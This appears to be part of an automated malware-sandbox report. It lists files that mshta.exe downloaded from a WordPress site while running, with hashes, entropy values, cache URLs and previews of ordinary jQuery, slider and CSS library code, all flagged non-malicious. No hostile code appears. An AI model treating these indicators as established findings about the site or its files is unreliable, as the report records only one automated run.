                                                                                      Preview:.mp-row{margin-left:-20px;*zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class*="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-span11{width:860px}.mp-span10{width:780px}.mp-span9{width:700px}.mp-span8{width:620px}.mp-span7{width:540px}.mp-span6{width:460px}.mp-span5{width:380px}.mp-span4{width:300px}.mp-span3{width:220px}.mp-span2{width:140px}.mp-span1{width:60px}.mp-offset12{margin-left:980px}.mp-offset11{margin-left:900px}.mp-offset10{margin-left:820px}.mp-offset9{margin-left:740px}.mp-offset8{margin-left:660px}.mp-offset7{margin-left:580px}.mp-offset6{margin-left:500px}.mp-offset5{margin-left:420px}.mp-offset4{margin-left:340px}.mp-offset3{margin-left:260px}.mp-offset2{margin-left:180px}.mp-offset1{margin-left:100px}.mp-row-fluid{width:100%;*zoom:1;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mp-row-fluid:before,.mp-row-fluid:after{dis

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\camera.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):39402
                                                                                      Entropy (8bit):5.336241934125691
                                                                                      Encrypted:false
                                                                                      SSDEEP:768:HUp+FrGU1OYvR7qO218kwiA2gRDLMjmQyrshT7Db3E8J1KTuDvniryxn7OqOPOtb:6fU1Ox62LvniFFl3D+
                                                                                      MD5:4338F6FCF6F5F1332747A94E09A65DF4
                                                                                      SHA1:099715E7293A8B570C46779C7A28B6832E34B72A
                                                                                      SHA-256:CAD3B6107C8A8F38229ADD27D02A2150E204BA78ACC54144E132A20BA40FC3FE
                                                                                      SHA-512:1120EC4FB4B981CDDF49F4B9933660F74A8B4B03746B5B329925E32FE5ABD13A675ACBBC8A53A2E2AB4F5C575256D0577B282236A60EEBA977232122577D3DB5
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
                                                                                      Preview:// Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+.// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com.// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php.;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)||navigator.userAgent.match(/webOS/i)||navigator.userAgent.match(/iPad/i)||navigator.userAgent.match(/iPhone/i)||navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nextThumbs",V).addClass("hideNav")}var h=c.left,i=c.left+

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\device.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):2778
                                                                                      Entropy (8bit):4.92970371310333
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
                                                                                      MD5:CCD1C11A6BA5DF0CBFC470B04A3739F4
                                                                                      SHA1:A8864D81DE7689672EF8F916E430AAABF563C22D
                                                                                      SHA-256:A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
                                                                                      SHA-512:31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
                                                                                      Preview:/*! device.js 0.1.58 */.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()||device.ipod()||device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")||d("bb10")||d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\error[1]

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):3247
                                                                                      Entropy (8bit):5.459946526910292
                                                                                      Encrypted:false
                                                                                      SSDEEP:96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
                                                                                      MD5:16AA7C3BEBF9C1B84C9EE07666E3207F
                                                                                      SHA1:BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
                                                                                      SHA-256:7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
                                                                                      SHA-512:245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
                                                                                      Malicious:false
                                                                                      Preview:...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\flexslider[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):5941
                                                                                      Entropy (8bit):5.075074456166432
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:+XXpDjoVAxgD1/g1JlYZYGWUQlfAci14nNSvOFfYuzjwWPQvg8DhHoqK4zORAxFm:KpoVhxSK6UQlf21VOCo8FI74aRO9nblc
                                                                                      MD5:C553A58B7B87830D624BC55C478732AD
                                                                                      SHA1:E53CF7C7030F1CAACFEF4C00E7092340B61ABFC2
                                                                                      SHA-256:013585D07F16D114D3402E3B540854C914254D7F17FD430E216E8DF7334C9C92
                                                                                      SHA-512:8A68FBB8ECEC471BFDA84B524C56085BD8D928A97B0F538E531E2E057A15DA74FEDE3A2F32EEDE437C278778A302B25F4AE3B388E135878C0D2283691B7E3C48
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
                                                                                      Preview:/*. * jQuery FlexSlider v2.2.0. * http://www.woothemes.com/flexslider/. *. * Copyright 2012 WooThemes. * Free to use under the GPLv2 license.. * http://www.gnu.org/licenses/gpl-2.0.html. *. * Contributing author: Tyler Smith (@mbmufffin). */.../* Browser Resets.*********************************/..flex-container a:active,..flexslider a:active,..flex-container a:focus,..flexslider a:focus {outline: none;}..slides,..flex-control-nav,..flex-direction-nav {margin: 0; padding: 0; list-style: none;}..flexslider-rtl {direction:rtl; text-align:right;}./* Icon Fonts.*********************************/./* Font-face Icons */.@font-face {..font-family: 'flexslider-icon';..src:url('fonts/flexslider-icon.eot');..src:url('fonts/flexslider-icon.eot?#iefix') format('embedded-opentype'),...url('fonts/flexslider-icon.woff') format('woff'),...url('fonts/flexslider-icon.ttf') format('truetype'),...url('fonts/flexslider-icon.svg#flexslider-icon') format('svg');..font-weight: normal;..font-style: normal;.}../

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\gtranslate-style24[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):693
                                                                                      Entropy (8bit):4.934608717734217
                                                                                      Encrypted:false
                                                                                      SSDEEP:12:4IYVc5Y6ls3SFy4n51hHSs5n8oD6jc5n8JH6uDvKROYABO0b2TLx3OsqTLxN8QOX:4IYVc5Y6B51hys5n8G6jc5n8JH6uDvKX
                                                                                      MD5:9B0F26CF8D22D4E9455F67B21C2F9759
                                                                                      SHA1:F0240A4411D4A2EB073C574D37618E503392B76E
                                                                                      SHA-256:226456D9A9EEF8F0831B6B181BE100A49CBAEC1651A8BD45D7D0CC897D161538
                                                                                      SHA-512:FB5BA2942B79906FD59181F39F3C753D9950AB5502A56A3D164DFF50516CC70149EA68D3478F4B7ADC09E7FB67FD8519FF83EFD5089FA51B1B85400C50641D4B
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
                                                                                      Preview:a.gflag {font-size:24px;padding:1px 0;background-repeat:no-repeat;background-image:url(24.png);}.a.gflag img {border:0;height:24px;display:inline;}.a.gflag:hover {background-image:url(24a.png);}.img.gstats {display:none;}.a.alt_flag {background-image:url(alt_flags.png);}.a.alt_flag:hover {background-image:url(alt_flagsa.png);}.a.us_flag {background-position:-0px -100px;}.a.br_flag {background-position:-100px -100px;}.a.mx_flag {background-position:-200px -100px;}..a.glink {text-decoration:none;}.a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}.a.glink img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}.a.glink:hover img {opacity:1;}

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\jplayer.playlist.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:HTML document, ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):8844
                                                                                      Entropy (8bit):5.1067637688011125
                                                                                      Encrypted:false
                                                                                      SSDEEP:96:dv+TrZD5ip1yplBpElBpqdpw2pu9pA2/U7F2SOZ9lKMBIfpxTb8CGK2jhsBdy8bp:d0BCIZWBgVkSDSmmhDIHK4wVYH4cUdb0
                                                                                      MD5:F05AC1D7BF95BA34B8BCB05D4455D2E6
                                                                                      SHA1:F27305CA2CBCCA78715683611FFF72DF3F1359CD
                                                                                      SHA-256:6D7D547D752E1999718DD64FD26DDEFA7EEDADBB11A6461248C520BEAF0D6022
                                                                                      SHA-512:C05432C613C91ABAB1BE1B564278400DEEAEDEDE50528A928CD9ADE047899FB4EE55D5843845D286450CA38EA440C00021CFD3F93873547D7F53BAF138096AF3
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
                                                                                      Preview:/*. * Playlist Object for the jPlayer Plugin. * http://www.jplayer.org. *. * Copyright (c) 2009 - 2013 Happyworm Ltd. * Dual licensed under the MIT and GPL licenses.. * - http://www.opensource.org/licenses/mit-license.php. * - http://www.gnu.org/copyleft/gpl.html. *. * Author: Mark J Panaghiston. * Version: 2.3.0. * Date: 20th April 2013. *. * Requires:. * - jQuery 1.7.0+. * - jPlayer 2.3.0+. */.(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";.this.cssSelector.next=this.cssSelector.cssSelectorAncestor+" .jp-next";this.cssSel

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\jquery-1.7.2.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:HTML document, UTF-8 Unicode text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):94840
                                                                                      Entropy (8bit):5.372946098601679
                                                                                      Encrypted:false
                                                                                      SSDEEP:1536:8YRKUfAjtledhTmtaFyQHGvCXsedOgRc9izzr4yff8teLvHHEjam7W5X3yzSiLnM:VUb6GvCu09s2o2skAieW
                                                                                      MD5:B8D64D0BC142B3F670CC0611B0AEBCAE
                                                                                      SHA1:ABCD2BA13348F178B17141B445BC99F1917D47AF
                                                                                      SHA-256:47B68DCE8CB6805AD5B3EA4D27AF92A241F4E29A5C12A274C852E4346A0500B4
                                                                                      SHA-512:A684ABBE37E8047C55C394366B012CC9AE5D682D29D340BC48A37BE1A549AECED72DE6408BEDFED776A14611E6F3374015B236FBF49422B2982EF18125FF47DC
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
                                                                                      Preview:/*! jQuery v1.7.2 jquery.com | jquery.org/license */.(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTyp

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\jquery.jplayer.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):54355
                                                                                      Entropy (8bit):5.24962012461709
                                                                                      Encrypted:false
                                                                                      SSDEEP:1536:7csOF0XSMqEk3nRw9o5cfQPfu5+6Vo5aUuyEwVUEn6:7f4dfPfu51W53EWR6
                                                                                      MD5:8FBB3319230D3C08397B7BDA5BCB1DC2
                                                                                      SHA1:E7C9CBBFA4EC48771C03878949AD0A4128BABF62
                                                                                      SHA-256:493DB6D1EC51719B44E204D0594B5BCBDC81CE173A64D3E90513A468CECBD383
                                                                                      SHA-512:0BEA93F519BD1D9C10D41A8345807CBCE0D5C8C0FCF98D4B325EA00587474E05138C279469AECB0A3D0054A2941E380E6EC5839D7A6230697CD23F6DFC0718D0
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
                                                                                      Preview:/*. * jPlayer Plugin for jQuery JavaScript Library. * http://www.jplayer.org. *. * Copyright (c) 2009 - 2014 Happyworm Ltd. * Licensed under the MIT license.. * http://opensource.org/licenses/MIT. *. * Author: Mark J Panaghiston. * Version: 2.6.0. * Date: 2nd April 2014. */..(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a||.{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.options,a);var d=this;this.element.bind("remove.jPlayer",

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\jquery.zaccordion.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                      Category:downloaded
                                                                                      Size (bytes):10762
                                                                                      Entropy (8bit):5.077152335060303
                                                                                      Encrypted:false
                                                                                      SSDEEP:192:UJrUdgSDnkqTJT3De0no2zDEJEBk/UdjwUSPh/im9X:UJvSDnTJTa0nocEJrUdjwUSJ/im9X
                                                                                      MD5:83587A80FA209ADBA2AE7D9C7D817790
                                                                                      SHA1:0AD068CE6FB22A723676D786D0F5AA8922E34814
                                                                                      SHA-256:3454594300968DF56A52E0EF020632006412FB99ABEF27D917E21A715C586225
                                                                                      SHA-512:527C20333ED686C4382B5D2651AA94B202A8E180BCC36954B0395DBB0E5AD4E285882049BE2C9BF245522490AF012E98DE0931E3CFB24F7147F3811CE2DFE440
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
                                                                                      Preview:(function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{return"px"}}}},toInteger:function(f){if(f!==null){return pa

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\magnific-popup[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):9304
                                                                                      Entropy (8bit):4.884999133560261
                                                                                      Encrypted:false
                                                                                      SSDEEP:192:hNQeaSgt1RlPZpFXWi6fEKJHFiN6/kw57F5fmu4xCEBvL:uTPdXDlwFdF5On
                                                                                      MD5:33F641DF8C0FC8A2A5C9C7FAD61EC019
                                                                                      SHA1:7E4999E434F83D66A6E436DA9373880C47289704
                                                                                      SHA-256:690587B44CBF9FF5EFA013957F8460D96B36775ACBB27472CFB6DC34BB91AF4D
                                                                                      SHA-512:910F7FD759FD016EED7C7707E971DAAD57DB08D5CE421D7C94B43CCCCB67440654B87CC2FA3B75C28DC77DBE77C017B2EB7A1BE38436061AE9CF177F1FA900BB
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
                                                                                      Preview:/* Magnific Popup CSS */..mfp-bg {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1042;. overflow: hidden;. position: fixed;. background: #0b0b0b;. opacity: 0.8;. filter: alpha(opacity=80); }...mfp-wrap {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1043;. position: fixed;. outline: none !important;. -webkit-backface-visibility: hidden; }...mfp-container {. text-align: center;. position: absolute;. width: 100%;. height: 100%;. left: 0;. top: 0;. padding: 0 8px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box; }...mfp-container:before {. content: '';. display: inline-block;. height: 100%;. vertical-align: middle; }...mfp-align-top .mfp-container:before {. display: none; }...mfp-content {. position: relative;. display: inline-block;. vertical-align: middle;. margin: 0 auto;. text-align: left;. z-index: 1045; }...mfp-inline-holder .mfp-content,..mfp-ajax-holder .mfp-content {. width: 100

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\owl.carousel[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):5924
                                                                                      Entropy (8bit):5.072069034552564
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:A/ZGnrZNGkS5fS0sGukCMiVG9/WDLqI+TlZ7kKXQmMfdScuFeUK7rqW9dvgOGH6o:oZ0ZQolYC1+kp+5Z7kKXQmGoeUK7+P
                                                                                      MD5:2737F7BF6C359378B907AE244C7C41C3
                                                                                      SHA1:14C848EA1F424CD82CBF1F732BBEB0D50F06169F
                                                                                      SHA-256:2EDF2AA5AAA3ABEDE8968ECCFE9871849205188186D1AE62F14AB3FF4BB8EF6C
                                                                                      SHA-512:994CBEE171BF10EA517579819D6F82C446F10ADFF9DB72EB78771560DC8DB855799D1B9B4E6360EA4E2010965569F46BB371B1E75398FDF5510D2BCC8FC1BC60
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24
                                                                                      Preview:/* . * .Core Owl Carousel CSS File. *.v1.24. */../* clearfix */..owl-carousel .owl-wrapper:after {..content: ".";..display: block;..clear: both;..visibility: hidden;..line-height: 0;..height: 0;.}./* display none until init */..owl-carousel{..display: none;..position: relative;..width: 100%;..-ms-touch-action: pan-y;.}..owl-carousel .owl-wrapper{..display: none;..position: relative;..-webkit-transform: translate3d(0px, 0px, 0px);.}..owl-carousel .owl-wrapper-outer{..overflow: hidden;..position: relative;..width: 100%;.}..owl-carousel .owl-wrapper-outer.autoHeight{..-webkit-transition: height 500ms ease-in-out;..-moz-transition: height 500ms ease-in-out;..-ms-transition: height 500ms ease-in-out;..-o-transition: height 500ms ease-in-out;..transition: height 500ms ease-in-out;.}....owl-carousel .owl-item{..float: left;.}..owl-controls .owl-page,..owl-controls .owl-buttons div{..cursor: pointer;.}..owl-controls {..-webkit-user-select: none;..-khtml-user-select: none;..-moz-user-select: no

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\sbi-styles.min[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                      Category:downloaded
                                                                                      Size (bytes):16845
                                                                                      Entropy (8bit):4.927428585989144
                                                                                      Encrypted:false
                                                                                      SSDEEP:192:7MFuCes2ba6PZqwJPWeitF0faGG27acPpqiJXWYi1F+f8imVjFuXQT3XerQCTQW+:qFJXerQCFPKT/ob0JMSP
                                                                                      MD5:02BACBAD1E26F0B3D1772D4CF5A047DC
                                                                                      SHA1:89292741D360F7EB3319437CD32A80EA7B388941
                                                                                      SHA-256:DF15236D4098113E3479FC540A9BD1046CA6029F5508098E9C4245A0E12FAB05
                                                                                      SHA-512:4F2F5BD7AA47FAD34B3337ADA2F0C5411702A7046E6A65FDA97BB4E13EFFC05C30261C7EF27BECB4F5F0AC4E98F234B6EC81C900AAD7C12FD9D6FED844BB8A6D
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
                                                                                      Preview:#sb_instagram{width:100%;margin:0 auto;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram:after{content:"";display:table;clear:both}#sb_instagram.sbi_fixed_height{overflow:hidden;overflow-y:auto;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram #sbi_images{width:100%;float:left;line-height:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram .sbi_header_link{-webkit-box-shadow:none;box-shadow:none}#sb_instagram .sbi_header_link:hover{border:none}#sb_instagram #sbi_images .sbi_item{display:-moz-inline-stack;display:inline-block;float:left;vertical-align:top;zoom:1;max-height:1000px;padding:inherit!important;margin:0!important;text-decoration:none;opacity:1;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-o-transition:all .5s ease;-ms-transition:a

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\theme[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                      Category:downloaded
                                                                                      Size (bytes):87745
                                                                                      Entropy (8bit):5.5982827947800144
                                                                                      Encrypted:false
                                                                                      SSDEEP:1536:BC7O2E2CzZOUWqTNWm3GJUWXTOhYijX6MAuKT+0/W2sqDYyUliBf21R+ab+gLSnr:q9j+K
                                                                                      MD5:BB3B682DA2B43CE2AB6127EC0BB2F84E
                                                                                      SHA1:B7734D0819DA9A80E1483A36357D06EB24332C25
                                                                                      SHA-256:19BBB78D70DD6EE89FF91E26A422ADB69510E8FF83ACE800AD7E5D0F35F14509
                                                                                      SHA-512:81E0791DFF8996258C773DAC76EECC3C3B40658B16F7A57E224139A0B65E7EDDFA5D5DF64DE010034823BF642270C968FDB3FE38D99FF7BAB1C19ED1751DF5E3
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8
                                                                                      Preview:.motopress-text-obj span{line-height:1em}.motopress-image-obj .motopress-image-obj-basic{max-width:100% !important;margin:0 !important;padding:0 !important;border:0}.motopress-image-slider-obj{line-height:normal;min-height:0}.motopress-image-slider-obj *{line-height:normal}.motopress-image-slider-obj .slides{list-style:none outside none;margin:0 !important;padding:0;line-height:normal}.motopress-image-slider-obj .slides li{margin:0;margin-left:0 !important;padding:0}.motopress-image-slider-obj .slides li:before,.motopress-image-slider-obj .slides li:after{content:none !important}.motopress-image-slider-obj .slides li img{margin:0;padding:0;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;border:0}.motopress-image-slider-obj .flex-control-nav{position:absolute !important;list-style:none outside none !important;margin:0 !important;padding:0 !important;line-height:normal;right:auto !important;bottom:-40px !important;text-align:center !important;z-index:auto !important}.motopre

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\tmstickup[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):2506
                                                                                      Entropy (8bit):4.979495337243772
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:LXyO+4lW7dPr2StXZU/X2cQmoWUTp9XlUgpd2HuUBHrX:LXFLlWPXZKGrmwTO8quUtL
                                                                                      MD5:D75AE5B4F9859E20DABD5BA0E6959625
                                                                                      SHA1:B72540421BD54F42D92734D0A53D46273839811D
                                                                                      SHA-256:294E2CE69040E1C6B4574E88881619342EDA4D098C187E56317288CE7B0E6168
                                                                                      SHA-512:AA5239F962F9756781FE1907F3A7CE7A6FC4E92ED3D862B02460E69ADCDDE3DB98D82D6B3084BF096F32C966D258F561B81345620151A466B7BBC5B1EE982DBD
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
